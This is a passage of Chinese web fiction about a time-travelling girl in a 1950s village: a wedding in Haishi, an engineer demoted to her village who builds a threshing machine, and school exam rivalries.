“起的早的孩子，有熏鱼吃哦～”昨天刚吃过，香的很嘞。 鱼块经过酱油、黄酒、冰糖调制的浓醇卤汁浸透，先炸至外皮金黄酥脆，再趁热浸泡进秘制酱汁里，入口时，甜咸交织，甜为主，极符合小孩子的口味。 钟莹莹上辈子爱吃，这辈子依旧爱吃。 不配米饭，空口吃都能吃好几块。 钟新澄和钟丽丽禁不起美食的诱惑，迷迷糊糊的坐起身来：“熏鱼？哪呢？哪呢？” 钟明芳笑了说：“快洗把脸，等会去宋姑姑家，就有熏鱼吃了。” “没有啊？” 钟新澄有些失望。 但已经清醒了大半的他还是起来了，在钟明芳的指挥下，就着屋里的脸盆胡乱洗了两把脸。 到宋家的时候，天边才泛起一丝微光。 他们来的早，是为了给宋家帮忙的。 宋家只有父女两个人，一早新郎官就要来接亲，钟明芳怕他们忙不过来。 宋家的早饭是汤圆，有豆沙馅儿和黑芝麻馅儿两种。 馅儿是昨天就做好的，就等今天早上包汤圆了。 钟明芳把礼金硬塞给宋茹后，就上手帮着包汤圆了。 海市嫁女儿，要母亲亲手喂女儿一口甜汤圆，寄托对女儿婚姻幸福的期许。 宋茹没了娘，这一口汤圆就要由宋冬宇来喂了。 一大早，打扮的像只开屏孔雀的王书钰就骑着自行车过来接亲了：“小茹，我来接你了。” 他毕业之后就参加工作了，入职了机械厂，买自行车的自行车票也是为了结婚找人高价换的。 他家就他一个，跟他一块过来结亲的几个伴郎，都是他厂里的同事。 一个个人高马大的，看起来好不威风。 宋家也没好到哪里去，宋家没什么亲戚了，宋茹那早逝的娘那边的亲戚，也因为林晚晚一事，几乎断绝了来往。 此刻在跟前的也就几户平常走的比较近的邻居。 “哟，新郎官今天可真俊啊～”邻居大娘带着善意的调侃。 王书钰的脸红成了一个红苹果。 “几位伴郎也帅的很，不知道找对象了没？大娘到时候给你们一人介绍一个。”一看见俊俏小伙，大爷大娘们就忍不住想要保媒。 几位伴郎听见后，脸也跟王书钰一样，红成了个猴屁股。 “好了，不闹了，小伙子脸皮薄。”大爷大娘也识趣。 今天宋家大喜的日子，他们也就来凑个热闹，哪能真拦门啊！ 王书钰看对方给自己行方便，让伴郎一人给发了一个小红包，几个大爷大娘喜气洋洋的拿着红包让到一旁。 屋里宋茹也是羞红了脸。 宋冬宇在喂她吃汤圆，吃着吃着她的眼泪就滴到了碗里。 “好了，大喜的日子哭什么？”宋冬宇替她擦去眼泪，安慰道。 其实他自己也挺想哭的。 就这么一个女儿，宋茹嫁出去以后，他就真正是孤家寡人一个了。 宋茹也不知道，为什么明明是高兴的日子，自己却那么想流泪，她想，应当是喜悦的泪水吧。 “小茹！”王书钰站在宋茹的房门口，看着室内的父女俩，竟然也悄然红了眼眶。 三个眼睛红红的人凑在一起，要不是都是一身红衣，就不像是结婚的，反倒像是结仇了一样。 “书钰～”宋茹看王书钰的眼神缠绵悱恻，情意绵绵。 宋冬宇竟然感觉有点酸了。 “岳父，以后我会对小茹好的。”王书钰郑重其事承诺道。 “以后谁当家？谁做主？谁管钱？”钟新澄和钟丽丽充当喜童子，异口同声问道。 这都是之前排练好的，今天就走个过场。 “小茹当家做主，我的工资一分不留，全部上交。”男子汉大丈夫，钱肯定都要给媳妇儿管的。 看看岳父，又看看媳妇。 王书钰上前一步，接过宋冬宇手里的汤圆碗，竟然送到嘴边，三两下吃掉了剩下的。 “这……”宋冬宇很是震惊。 他们这新郎若是在新娘家吃饭，是有入赘的说法的。所以一般新娘家不会准备新郎的饭，他这女婿也是海市人，应当不会不知道这个习俗的啊？ “岳父，您也知道，我是个孤儿，爹娘都没了。” “以后我娶了小茹，我们就是一家人。” “我会把您当亲爹娘一样孝顺。” 王书钰是真心实意这样说的，宋冬宇爱屋及乌，待他这个女婿也好的很，跟他亲爹娘也没差别了，是不是入赘，又有什么要紧的呢？ 接着，他又放出一个重磅炸弹：“以后我跟小茹的孩子，姓宋。” 爹娘死得早，他吃百家饭和政府饭长大的，对于传宗接代并没有那么深的执念，宋茹生不生孩子他都无所谓，不生更好，俩人二人世界过的更幸福一点。 他争取好好锻炼身体，比宋茹多活一两年，处理完她的后事再走。 如果要是生孩子的话。 他岳父年纪大了，是个比较传统的人，孩子姓宋，应当会让他开心。 岳父开心，等于媳妇开心，媳妇开心，等于他开心，皆大欢喜。 如果钟莹莹知道他的想法，恐怕会惊呼一声，好超前的想法。 要知道，就算是后世，能够接受孩子跟媳妇姓的，都是少数。 “老宋家这个女婿不得了啊！” “是啊，老宋真是找了个好女婿。”围观的大爷大娘，不由自主的开始羡慕起来。 生个闺女，又白得个孝顺女婿，老宋好福气啊！ “那我就把我闺女放心交给你了。” “如果你对她不好，我会带她回家的。”宋冬宇虽然知道，王书钰不会的，但是狠话依旧是要放的。 “岳父您放心，如果我有二心，那到时候，不用您动手，我自己从黄湖江跳下去。”王书钰无法想象，自己得到幸福后，再背叛会是什么样子，到那个时候，恐怕他自己就会先一步自我了结了。 钟明芳跟着帮衬道：“快，呸呸呸，大喜的日子，说这么不吉利的话。” 王书钰顺着钟明芳的意思，连呸三下之后，终于接到了自己媳妇。 走之前，还不忘给钟家三个孩子，连带着钟明芳，都送了一个比较大的红包。 接亲只是走个流程，宋茹到了王书钰家后，中午，王书钰和宋冬宇他们还是要一块吃饭的。 这年头不兴大肆操办，所以婚宴都是自家人去国营饭店点一桌菜，邻居什么的，送点喜糖和包个小红包就算完事。 起了一个大早的丽丽和钟新澄，只吃了一碗汤圆，等到中午，肚子都要饿扁了。 钟莹莹也有些困倦，虽然啥也没干，但就算觉得结婚可真累人啊。 王书钰预订的菜色非常丰富，三个伴郎，加上钟家四人，和宋家父女俩，还有王书钰，正好十个，凑了一整桌。 几人正吃着饭呢，就有人来找王书钰，说出事了，他们领导被抓了。 第40章 那人还说，他们领导是因为发表了思想不正确的文章，被上头严厉批评，要给下放到乡下去。 “爹，小茹，你们先吃，我去去就回。”王书钰很是着急。 他直系领导对他有知遇之恩，他不能作视不理。 “去吧。”宋冬宇表示理解。 要是身边亲近之人出事，王书钰还无动于衷，那他还真看不上他了。 钟莹莹有点纳闷，不应该啊，正式下放运动应该是在五十年代末了，离现在还有几年呢，怎么现在就开始抓人了？ 她又想了一下，不对，好像五十年代初期也有，基本上是基层锻炼，他们还会保留干部身份，一般是为了基层建设或者思想改造。 因为政策相对温和，所以很多人经常忽略这一阶段，事实上，下放从五十年代初就开始存在了，只是五十年代末的，规模更大，条件更苦。 也不知道王书钰领导是犯了啥错，才被抓了。 如果不是太恶劣的话，钟莹莹希望，能把人弄到他们村去。 村里那几个知青，能做的事情有限，一个机械厂的领导，就算不是技术工种，到他们村都是赚的。 如果是技术工种，那更是赚大发了。 钟莹莹只是在脑子里想想，没敢说出来。 王书钰回来的时候，脸上满是颓唐。 显然是木已成舟，没有转圜的余地。 “已经确定邓工是要下放了，是吗？”。 宋冬宇沉吟道：“下放地址有确定吗？” 宋茹一听这话就有想法了，钟家人还没走。如果邓工被下放到其他地方，可能会有不可预料的事情发生。 如果是钟家岗，钟家人在那里，起码没人会欺负他，还可以照顾着些。 邓工年纪不小了，苦力活干不来的。 王书钰也懂宋冬宇的意思了：“我这就去托人运作。” 运作得当，没准可以和钟家人一块回去呢，路上也有个照应。 宋茹负责和钟家人商量。 “明芳姐，不瞒你说，书钰的领导因为犯了一点小错误，要被下放到乡下去。” “他年纪大了，腿脚也不好。” “我们就想着，把他弄到钟家岗去，想求你们帮忙照顾一下，你看可以吗？”宋茹眼神中带着祈求。 “这……”钟明芳不敢应答，都要被下放到农村了，会是什么好人。 宋茹看出她的顾虑，拉着她的手道：“你放心，邓工犯的不是什么杀人放火的大错，。” “他写了一篇文章，发表在报纸上，被对手挑刺找到问题了。” “上面觉得他思想有待提高，所以才下放的。” “下放期间，他的干部身份仍旧保留的。” 宋茹一点点将原因揉碎了掰开了讲给钟明芳听，就怕钟家人对邓工心有芥蒂，到时候给人安排到钟家岗，反而不妙。 “我家书钰这几天你也见了，人品怎么样我就不说了。” “邓工不仅仅是他的领导，更是他的师傅。” “我敢用人品保证，邓工绝对没有问题。”宋茹就差指天发誓了。 钟明芳终于应了下来，家里和宋家打交道这么些年，宋家人的人品还是可以保证的。 “办好了，下放地点就定在了钟家岗。”王书钰这次回来是满脸喜色，再不见之前的忧愁。 他和邓工见了一面，邓工说，这个时候下放，急流勇退，未必不是好事。 邓工家里有海外背景，他弟弟一家出国了。 这也是一直一来他被人攻讦的点。 去了乡下，远离权力中心，反而没人会注意到他。 他已经看出来了，现在的形势貌似不太好，好些个家里背景不好的，被查了。 以后会不会查的越来越严？他家禁得起查也禁不起别人举报啊！ 想到这些，邓工决定要多在乡下苟几年，反正他年纪大了，早该退休了。 “办好了就行。”宋茹也松了一口气。 王书钰和邓工关系紧密，倘若邓工真出事，王书钰也会受到牵连。 返程的火车上，钟莹莹看见邓工还有点不敢置信，这不是后世写在教科书上的人物吗？虽然中间被下放过，后面还是被召回去研究保密物品去了。 这样的人物，去到了他们村，他们该是何等荣幸。 邓工原名邓荣，是机械厂的高级工程师，曾经参与设计多项工程。 这个年代工程师的含金量和后世可不同，能当高级工程师的，几乎是在专业领域各项全能了，既能画得了图纸，也能进一线参加生产工作。 钟莹莹在思考，怎么将邓工在钟家岗期间产生的利益最大化。 知青们只有周岱是有机械基础的，村里人更不用说，处于刚认字的阶段。 想跟邓工学习，也赶不上趟。 还是得知青。 村民学的慢也得学起来，整个村子一起提升，才能大家一起变得更好。 她自己也得学，还得立个天才人设。 “邓工、明芳姐，我就送你们到这，等下火车要发车了，路上注意安全。”送君千里，终有一别。 王书钰纵然有再多的不舍，也只能憋在心里。 “去吧，小老头好好的，能出什么事。”邓荣的心态好得很，下乡就下乡，到哪里不是过活。 他的行李不少，主要的还是一大箱专业书籍，衣服啥的都邮寄过去了。 书籍他不敢邮寄，害怕受损或者丢失。 因着没犯啥大错，所以没人守着他，只要他自行去下放地点报到就行。 宋茹又跟钟明芳说了几句话，塞给钟莹莹一个厚厚的信封，钟莹莹打开扫了一眼，信封里装的是钱，还有一沓花花绿绿的各色票据。 找别人帮忙，总得付出点代价，不然拿什么照看邓荣，害怕钟明芳推辞，宋茹才直接塞给了钟莹莹。 “这几个孩子几岁了？”邓荣在卧铺车厢里无聊，随意和钟明芳搭着话。 “俩小的一个五岁，一个六岁半了，大的这个马上要九岁了。”钟明芳答道。 “读过书了吗？”邓荣问。 钟新澄迫不及待举手：“我读了，我读一年级了。”他也是个有知识有文化的小学生。 “我读二年级了。”钟丽丽不甘落后。 “嘿呦，还挺棒。”乡下娃子能送去读书，他那徒弟给他找的人不错啊。 “你嘞？”邓荣看向钟莹莹。 “我读初二了。”这还是她第一次和载入史册的人物对话，她何德何能啊？感谢穿越大神，钟莹莹内心有些激动，面上却是一派淡定。 不冷静不行啊，真要激动反而会被人怀疑动机不纯。 她现在这个阶段，不应该认识邓荣。 “真的？”小老头瞪大了眼睛。 不到九岁读初二，这是一个小天才啊。 “真的，莹莹每次考试都拿一百分呢！”一提到成绩，钟明芳就与有荣焉。 她和钟绍华学习都一般，没想到爹娘老来得子生出的孩子，反而学习特别好。 回家都没怎么见过她写作业，偏偏她就是每次都能拿满分。 有老师要推荐钟莹莹去考少年班，钟莹莹恋家，就没去成。 “那还真是一个小天才呢！” “以后有兴趣学机械吗？”邓荣是个爱才的，当时收王书钰也是因为看他努力上进，头脑也不错。 眼下有个聪明娃，他自然动了心思，想要尝试着培养一下。 虽然他自己现在的处境可能有些糟糕，也不妨碍他继续为祖国培养人才。 “机械？是造插秧机的机械吗？”钟莹莹很想立马答应，为了立人设，还是伪装了一下。 “我们村有个知青就是学机械的，他帮村里造出了插秧机和播种机。” “我学了机械，也会像他一样厉害吗？” 邓荣惊讶了，这钟家岗究竟是什么风水宝地，之前插秧机登报，他也看了，虽然没什么太大的技术含量，但是能做到哪一步已经足够为种田省时省力了。 后面竟然还有播种机，也是和插秧机一样的半自动化器械吗？为什么这次没有登报呢？ 钟家岗他还真是去对了。 “我是高级工程师，你跟我学，我保证你比他还要厉害。”不是邓荣吹，全国上下能跟他比拼技术的，屈指可数。 刚下乡没多久的知青算什么？顶多算个新兵蛋子。 “那我跟你学。”钟莹莹答应了。 天才人设立的好，后面她提出一些后世的想法，也不容易被怀疑。 “我也要，我也要学。”钟新澄跟着捣乱。 “你小子捣什么乱，字都没认完呢？等你认完字再来找我吧。”邓荣装作生气的样子，一下子就把钟新澄给唬的不敢说话了。 邓荣是爱才，可他不想教小学生，叽叽喳喳的吵死了。初中还勉强，起码该认的字识了大半。 钟明芳很是迷惑，这就认上老师了，这才见面多久啊？ 想不明白。 钟明芳的不是个特别聪明的人，想不明白她就不想了。 她妹妹比她聪明，不会有问题的。 既然这个邓工成了小妹老师，那等到了钟家岗，指定待遇不差。 姓钟的从来不会亏待自己人。 火车旅程漫漫，邓荣掏出两本基础机械知识的书，递给钟莹莹，让她好好看，多学点。 先自学，等到一个月后，他会考察她的学习情况。 钟莹莹自然不会不答应。 书本拿到手里，还没翻两页，在火车的晃悠下，她就沉沉睡过去了。 邓荣是高级干部，能买软卧票，宋冬宇找人直接包了一个软卧车厢，四个铺位，买了四张票。 晚上睡觉不用守夜，门从里面锁好，可以安心直接睡。 邓荣见钟莹莹看了没两页就睡了，哭笑不得的摇摇头，火车使人犯困，他也困了。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 40-50 第41章 回钟家岗没法雇牛车了，现在的车子都是属于集体的，不能再拿来收费私用。 火车抵达时已是晚上，邓荣腿脚还成，跟钟家人在招待所休息一晚后，第二天一大早，吃完饭一起踏上了回钟家岗的路途。 钟莹莹没跟着回去，请了那么多天假，她该回学校了。 一到学校就是考试，初中学习不难，但是一轮轮考试考下来，也是怪让人头疼的。 语文、数学都不难，政史地，物化自都是最基础的学习。 但是，有一门外语课，学的是老大哥的语言。 钟莹莹哪里学过啊，上辈子也就学了个英语。 每次俄语课，她都不像在其他课程上摆烂，认真程度简直不是一个等级的。 一个全新的语言体系，最核心的就是语法规则和单词。 和后世一样，这个年代的俄语，学生学了后也基本是“哑巴俄语。” 老师的发音并不标准，都带着本地口音。 平常也用不到，只有上课和考试的时候会接触。 学习这个也是为了“向老大哥学习”。教材内容基本上是老大哥的精神理念建设，革命英雄事迹等，主要是为了培养能阅读俄文技术材料，与专家交流的人才，为了服务工业化建设。 考试内容和英语也差不多，有语法词汇、句子翻译、阅读理解和应用文写作。 如果想要报考重点高中或者中专技术学校，俄语学习是必不可少的，俄语高分在录取条件中是占比重较大的一条。 个别俄语成绩过差者，还可能被批评成“学习老大哥思想，态度不端正。”直接被记录在档案里，别说升到好的学校了，中考可能都不给参加。 期中考试当天，天有点凉了，钟莹莹穿的有点少，她搓了搓手指，才提笔答题。 前几场考试，都尤为顺利的提前交卷了。 等到考俄语的时候，她一字一句检查了两三遍，还是有点不放心。 “时间到，交卷。”监考的老师敲敲讲台。 收卷时，他特意在钟莹莹桌前停留，细细观察了一下钟莹莹的卷子。 这可是之前初一的年纪第一，读初二会差吗？ 前几场都提前交卷了，也不知道为何这最后一场，一直坐到了考试结束。 是有什么题目不会吗？ 监考老师翻了一下卷子，基本写的都对啊？他心里暗道，不愧是第一名，年纪虽小，但性格却很谨慎。 “莹莹，听说你去海市了，那边好玩吗？”宿舍六人组围着钟莹莹围了一圈。 “是啊，是啊，莹莹，海市好玩吗？听说那边比我们这边漂亮多了。”李红雪的眼睛里写满了羡慕。 她也想去海市看看呢，她姑姑有一瓶脸霜就是托人从海市寄过来的，平时宝贝的很。 楚秀秀也是满心羡慕，她放假了就只能回家带弟弟和干活，去海市她想都不敢想，她好希望自己也能像钟莹莹一样，成为钟家的孩子啊。 “海市很大，也很漂亮。” “那边街上到处都是自行车，还有小轿车咧。”钟莹莹顿了顿，接着又说道：“我们下火车，我那个姐夫就是开小轿车来火车站接我们的。” “你还坐小轿车了？” “坐小轿车是什么感觉啊？”吴月很好奇。 她没有体验过，她家里也没有那么有钱的亲戚。 “很舒服，坐里面一点也不颠，我在上面都睡着了。” “我们一起好好学习，考上高中，等考大学，可以报海市的大学，听说上大学每个月学校还会给发补贴呢。”钟莹莹在给几个舍友画大饼。 宿舍里六个人，吴月、楚秀秀、李红雪还有高家娣是和钟莹莹一样，从乡下考出来的。 祁绮，也就是之前家里有教育局亲戚的那个胆小女生，她家是城里的。 吴月、楚秀秀、李红雪的成绩虽然不算多好，但在班里都是排在中上的。 只有高家娣，班级倒数。 她十五岁了，本来上学就是她求来的，现在成绩那么差，家里已经不想再给她读书了。 她娘给她在镇上相看了一个对象。她自己也有些动摇了，她成绩那么差，读书真的是正确的吗？ 钟莹莹不知道读书能不能改变命运，但是不读书是一定不行的。 小小年纪，十五六岁，去生孩子，然后一辈子被锁死在那个家。那不如拼一把，万一读出来个名堂了呢？ 宿舍几人私下里都在给高家娣补课。 她学习很吃力，一方面是因为乡音重，听不太懂普通话，另一方面就是胆子小，有问题不敢问*，小问题积压在一起，再加上之前刘老师的打压，那成绩能好吗？ 祁绮虽然胆子小，人家家境好，不懂的问题，回家问也能弄明白。 高家娣能学习的地方，只有学校。 “好，我们一块好好学习，考同一所大学。”李红雪被钟莹莹的饼诱惑到了。 其他几人也纷纷赞同。 祁绮犹豫了几分钟，也跟着下定决心，如果这次考试成绩她有进步，那就跟大家一块继续学习，努力考上大学。 如果还是老样子，就算她自己想读，她家里也不会再让她继续读了。 没进步就退学回家结婚，进步就继续抗争，努力学习。 出成绩的那一天，众人的心都提到了嗓子眼。 老师一张张讲着卷子，大家基本已经差不多知道自己的成绩了。 试卷终于改完，写着成绩和排名的白纸被贴在了教室后面的墙上。 “快看，这次钟莹莹又是第一名。”有个男生惊呼道。 刘兵也挤到前面去，在白纸黑字上找到了自己的排名，第八名，比开学的时候，还退了两名，前十名里，只有三个男生，前三名都是女生。 刘兵的脸色肉眼可见的难看起来，他嘴里喃喃道：“怎么会？” 他无法接受，自己又一次输给了女生。 明明小叔说了，男生就是比女生聪明，以前考不过女生，是因为女生发育早，上了初中女生就没劲了，他们男生后劲足，他才应该是考得好的那个。 女生凭什么考那么高？不对，该不会是作弊了吧？ 这个念头一升起，刘兵就无法遏制住嘴边的笑容。 边上男生见了嘀咕道：“刘兵气疯了？”怎么考试成绩下降了，反而还能笑的出来，这不像他啊。 之前考试有道题，老师批错了，少给刘兵一分，他都要拿着卷子，去办公室找老师给他加分。 很快，他就知道原因了。 郑老师拿着搪瓷缸子走进教室，刘兵立马上前去，大声喊道：“老师，我要举报，女生考试抄袭。” 郑老师被他吓了一跳，放下杯子，拍了拍胸膛，缓了缓才道：“抄袭？谁抄袭了？” 监考的时候她也在，没见着有人抄袭啊。 “女生抄袭，她们每个成绩都上升了。”刘兵义愤填膺道。 郑老师感觉有些无厘头：“就因为她们进步了？你有她们抄袭的证据吗？” “她们成绩全都进步了，不是抄袭是什么？”刘兵继续执迷不悟。 “呵……就不能是老师教的好。”李红雪站出来大胆发声。 “你小叔走了后，再也没有人骂我们蠢了，老师讲课又讲的好，凭什么不能进步？” 越想起之前那个老不死的，李红雪心中就越是愤怒。 她被耽误了多少啊，这一换老师，成绩就蹭蹭蹭的往上涨。 如果一开学就是郑老师来教，没准她已经考前三名了。 “你……我……”刘兵窘的面红耳赤。 “好了，刘兵同学，没有证据的事，就不要胡说八道，冤枉同学。” “现在，给班上的女同学道歉。”郑老师严肃道。 班里女生学习进步，刘兵就说她们是抄袭，这不是意思是自己带不好学生，打自己脸呢吗？ “老师……”刘兵声音带着哀求，他不想道歉，男子汉大丈夫，怎么能向女生低头。 “你要是不想道歉也行，我去找校长，给你换个班级，我们班要不起会污蔑同学的学生。”郑老师还真希望他一犟到底。 这个学生是之前刘老师的家人，万一自己哪点做的不好，没准会被他瞧了去，也举报自己。 今天这事就能看出，他爱胡乱攀扯旁人，真不是说着玩的。 “对不起，是我的错，我不该怀疑别人考的好就是作弊。”刘兵眼泪都掉了下来，紧攥着手，指甲扣进肉里，最终还是低头了。 他不能被赶出班级，会被人笑话的。 郑老师感慨一句，可惜了，没能借着这事把人给弄走。 她安慰自己道，没事的，做老师心胸要宽旷一些，不就一个刘兵吗？自己能够包容的，她可不像之前那个刘老师。 围着成绩单的学生散了不少，钟英莹上前去，随意扫了一眼自己的成绩，然后就略过了，接着在榜上找高家娣的成绩，忽然她眼睛一亮：“家娣，怎么样，我就说你不笨的吧？”高家娣这次考了第十五名，比之前的三十名开外，进步了一大半。 高家娣也很是激动，她真的有进步，她不是差生了。 钟莹莹对她的进步丝毫不意外，能从村里考出来的，还是个女孩，怎么可能是个脑子笨的？ 只要认真学习，进步是一定的。 第42章 “欸，你说刘兵是不是疯了？”之前跟刘兵玩的好的那一伙人，此刻都离他远远的。 以前刘老师说男生就是比女生潜力大的时候，他们听着也很爽。 但是，后面女生反抗了，刘老师被辞退。 郑老师说的貌似更有道理，尤其这次考试，女生压倒性的战胜了他们。 他们更觉得，以前是刘老师教的不对。 刘兵却说是女生作弊才超过他们的。 考试的时候大家都在一个教室，要是真的女生全都作弊了，不可能他们没一个人看见，只有刘兵看见吧？ “我也觉得。”另一个男生也很赞同。 刘老师一走，刘兵就有种逮谁咬谁的趋势。 之前他们聊天，他就说了一句：“看来女生也挺聪明的。” 刘兵就疯了一样的骂他，说他长别人志气，灭自己威风。 可自己说的是实话啊，女生确实蛮聪明的。 放假的时候，他回家看了，村里的女生，放假回家既要干活，又要带弟妹，还能考的好，这不是聪明是什么？ “好了，同学们安静一下，马上就要放农忙假了。我们得把剩下的卷子都给讲完。” 民以食为天，地里的粮食是最重要的。 一到这个时间段，他们这所有的学校都得放假。 钟莹莹也是过上好日子了，刚请了一周假，回来考完试，又可以接着放假了。 “家娣，我给你说，你回家好好和你爹娘说，多做点保证，他们会让你继续上学的。” 高家娣的父母虽然对高家娣上学这件事有些不太情愿，但还是出钱让她读了。 这代表着他俩并不是完全压榨女儿，不讲道理的人。 高家娣抿唇一笑：“我知道的。” 这次的进步，让她心里松快了不少。 几个舍友都给她出主意，让她回家好好劝她父母。 钟莹莹还教了她怎么忽悠父母，说期末考试考得好，会拿奖励，有好几块钱呢。 说考上高中，学校也给奖励，中考如果考上市一高，那么学校会给出全部的学费。 上市一高，等于一只脚已经踏进大学了。 进了大学就有补贴拿。 小话一套一套的，她都不知道，原来上学还有这么多的名堂，去过海市的人，就是见识广。 期中考试前三名有奖励，每人发了一本笔记本，第一名有支额外的铅笔。 本子上有老师的鼓励语，和学校的印章。 家里还有一本，是初一的时候发的，钟莹莹打算这本也拿回家，给钟新澄和丽丽用。 学校给的这种奖励，学渣见不着，一般都羡慕的很。 拿给俩孩子用，能鼓励一下他们，让他俩好好学习，争取一样考上初中。 农忙要做的事情很多，不光是收粮食，还得捡树枝、搂树叶、攒柴火。 邓荣的到来，让周岱欣喜若狂。 一个机械厂的高级工程师，哪怕原来在学校，都不可能和他如此接近。 村长被钟伟先提醒过了，给邓荣安排活的时候，只给安排一些轻省的，不累人的。 这是知识分子，对他们村的用处大着呢。 没让钟家岗的人失望，在地里的稻谷还没收完的时候，邓荣就弄了个手摇式脱粒机。 他比知青们强一些，不用去废品站淘宝。 他的零件是让王书钰从海市记过来的。 图纸画完，一个脱粒机三下五除二的就组装出来了。 “就这小玩意，比牛还厉害？”村里人都围过来看稀奇。 原先他们稻谷脱粒，都是用牛拉着石碾子，在打谷场上反复碾压，直到稻粒从稻杆上脱落，再摔打稻杆，将落在稻杆上的稻粒抖干净。 牛不够用的时候，就人工拿个棒槌捶打脱粒，干一天，从早干到晚，整好多天才能处理完。 邓荣的脱粒机，只需要一个人站在边上摇把手，另外一个人把割下来的稻，伸到脱粒机甩打，没两下一大捆稻就脱粒完成。 “这文化人就是不一样啊。”老楚忍不住感慨。 自打来了知青后，他们的活轻松简便了不少，现在又来个更厉害的文化人，听说还是啥工程师呢，这不，造了个脱粒机出来。 他们给稻谷脱粒也不用那么累了。 几个人站在那轮换着来，因为对机器很新奇，一个个的摇起把手来，一句累也不喊。 “你们看，这就是机械的魅力。”邓荣像个开屏的孔雀一样，在一群娃娃中炫耀着。 “哇，好厉害啊～”孩子们的反应也没让他失望，立马听取哇声一片。 邓荣觉得，乡下可比机械厂有意思多了。 他在机械厂，搞出个什么玩意，边上一堆人嫉妒私下里想使坏。 好不容易发了个文章，还被人揪到错处，差点发配北疆取了。 在村里，他干什么，都有人说，好厉害啊。 村里人有啥好吃的，也会拿点给他吃。 孩子们爬树摘了桑葚、杏子，也都分给他。 他有点不想回海市了。 钟家岗的秋收工作完成的比预想中的快了大半。 等所有粮食都晒干入库了，钟家岗下了一场特别大的雨。 往年这个时间也会下雨，他们动作慢，只能着急忙慌的把粮食收屋里，免得被雨淋了，没办法保存。 雨后的钟家岗成了水泥路，一脚踩下去，到处都是泥巴。 “这路可真烂啊！”乡下哪里都好，就是路不行，晴天还好，一到下雨，简直无处下脚。 说者无意，听者有心。 村长在心里琢磨，他们村这路确实该好好修修了。 以前是没钱没时间，现在村里账上有余钱，大家农活也干的七七八八。 修修路造福后代，路边再种点果树，孩子们也能多点吃的东西。 正想着呢，镇上有人来通知：“县里的电影放映队，这个月轮到来钟家岗了，你们做好准备，把地方收拾出来。” 也没啥好收拾的，就是在晒谷场。 让大家都过去就行。 这次放的电影是《乡村女教师》，老大哥的片子，主要内容是歌颂当时的教育工作者，正好符合他们现在的扫盲运动需求，所以各个村都轮流着播放了一遍。 钟莹莹搬个小板凳，身上用擦了薄荷水，驱蚊，拿了个蒲扇，一边扇，一边津津有味的看。 刚毕业的瓦尔娃拉决心投入教育事业，得到家人的支持后，去了西伯利亚的乡村当教师，她的未婚夫因为参加革命被关进监狱。在那个村子里，人们对于教育并不重视，对瓦尔娃拉野非常排斥。 钟家岗的人看的非常感同身受，一开始扫盲的时候，他们学习学的也有点烦，后面知青们在村里做出点事业后，他们渐渐的就感受到了学习带来的好处。 电影里，三年时间过去，经过瓦尔娃拉的不懈努力，孩子们接受了她，她的未婚夫也刑满释放，和她举行了婚礼。 钟家岗的人纷纷为她的幸福感到喜悦。 可是画面一转，瓦尔娃拉的丈夫在战斗中离世，她又变成了一个人。 众人又纷纷垂泪，一颗心紧紧的为瓦尔娃拉揪了起来。 故事的最后，瓦尔娃拉继续在小村子里教书，一年年过去，战争结束，她的学生一个个在各个领域取得了突出成就，大家围绕在瓦尔娃拉身边，共同祝愿她健康长寿，祝福祖国繁荣富强。 “好！”钟家岗的人忍不住为他们的话语喝彩。 这电影真是太精彩了。 钟家岗人心里认定，只要他们努力，他们祖国也会像电影里一样繁荣富强。 整个钟家岗的学习氛围又迎来了另一波高潮。 知青们一闲着，就被村民追着问各种各样的问题。 钟莹莹以前只是听说过这部电影，并没看过，后世好玩的东西太多了，她时间有限。 这次看了，觉得还挺经典的，不管是运镜还是立意，这部电影都非常优秀。 “我给你的书看的怎么样了？”邓荣和蔼道。 在钟家岗待的这段时间，他整个人都变得平和起来。 “刚看完一本。”时间有限，钟莹莹不是真正的天才，能看完一本已经很不错了。 “有没有什么不懂的地方？” “这里……这里……”钟莹莹很实在，指了一处又一处，专业知识和通用知识，学习起来差距还是很大的。 邓荣深呼吸了好几下，觉得他好像把教学想的简单了。 一个完全无基础的学生，和念过相关专业的学徒，教起来完全不是一个感觉。 “邓老师，我……”周岱抱着书也过来了。 “莹莹也在啊！”周岱挠了挠头，有些不好意思。 后知后觉，他是不是打扰到邓老师和钟莹莹了。 “你来，给莹莹讲一下这些题目，顺便自己巩固复习一下。”邓荣想偷懒，基础性的东西，周岱能讲明白，让周岱来讲，自己就轻松了。 听邓荣的话，周岱很老实的接过课本，就开始给钟莹莹讲解。 钟新澄露个头，小手扒在门框上，在外面偷听的如痴如醉。 他上学后，也识了不少字。 钟莹莹书上的字认不完全，也能理解个大半。 上学很讨厌，但是搞发明创造，真的很有意思。 为什么不进去听呢？他作业没写完，被姑姑发现，指定要挨揍，还得回家写作业。 所以他只能偷偷的听。 小老头发现他了，没管。不管听不听的得懂，孩子有上进心是好事。 第43章 “木木？”钟莹莹还是发现他了。 钟新澄垂头丧气的走出来：“姑姑。” “想听就过来一起听，但是，你得保证，晚上回家作业得写完。”钟莹莹不是不懂变通的人。 “真的吗？姑姑，我会写完的。”钟新澄兴奋的手舞足蹈。 周岱在那里讲解着，各个构件怎么通过活动联接，怎么实现规定运动。边讲还边随手给他俩画了简单的演示装置机构传动简图。 邓荣在旁边看着，一边看一边点头，不错，讲的比他好多了。 钟莹莹跟钟新澄都认真的听着。 ‘咕～咕～咕……’ 不知道是谁的肚子响了。 钟莹莹从知识的海洋中收回心神，好家伙，太阳都完全落下去了。 时间过得可真快。 “行了，今天就到这里吧，你们几个都回去吃饭吧，搁我这可没饭吃。”邓荣挥挥手，让他们都走。 他不太会做饭，平常就凑合着对付一口。 所有东西一起放在锅里，加水煮熟就直接吃。 搁城里还好，可以下馆子。 在村里，想弄点吃的，太不容易了。 想吃点好的，就得去镇上或者县里，路上就得花几个小时，还不够折腾的呢。 “老师，你晚上别做饭了，我回家给你端一碗来。”钟莹莹知道他的手艺。 钟新澄抬起头道：“对啊，老师，我奶做饭可好吃了，等下我给周哥哥也送一碗过去。” 他喜欢邓荣还有周岱，两个人讲的东西都可有趣了，乱七八糟的东西联接在一起，还能做竹蜻蜓和小手枪呢。 里面塞上小泥球，装上旧弹簧，扣下扳机，‘砰’的一声小泥球就会被发射出去。 他之前缠着周岱给做了一个，村里小孩子都羡慕坏了。 后面他自己想做几个，当孩子王，拆了小手枪，也不得其法。 只好又去找周岱，碰巧邓荣在给周岱讲东西，这下子他连邓荣也崇拜上了。 “醒了，你家粮食有多少够我天天白吃白喝的啊？”邓荣不客气的翻了个大白眼。 这姑侄俩真不愧是一家人，都大方的很。 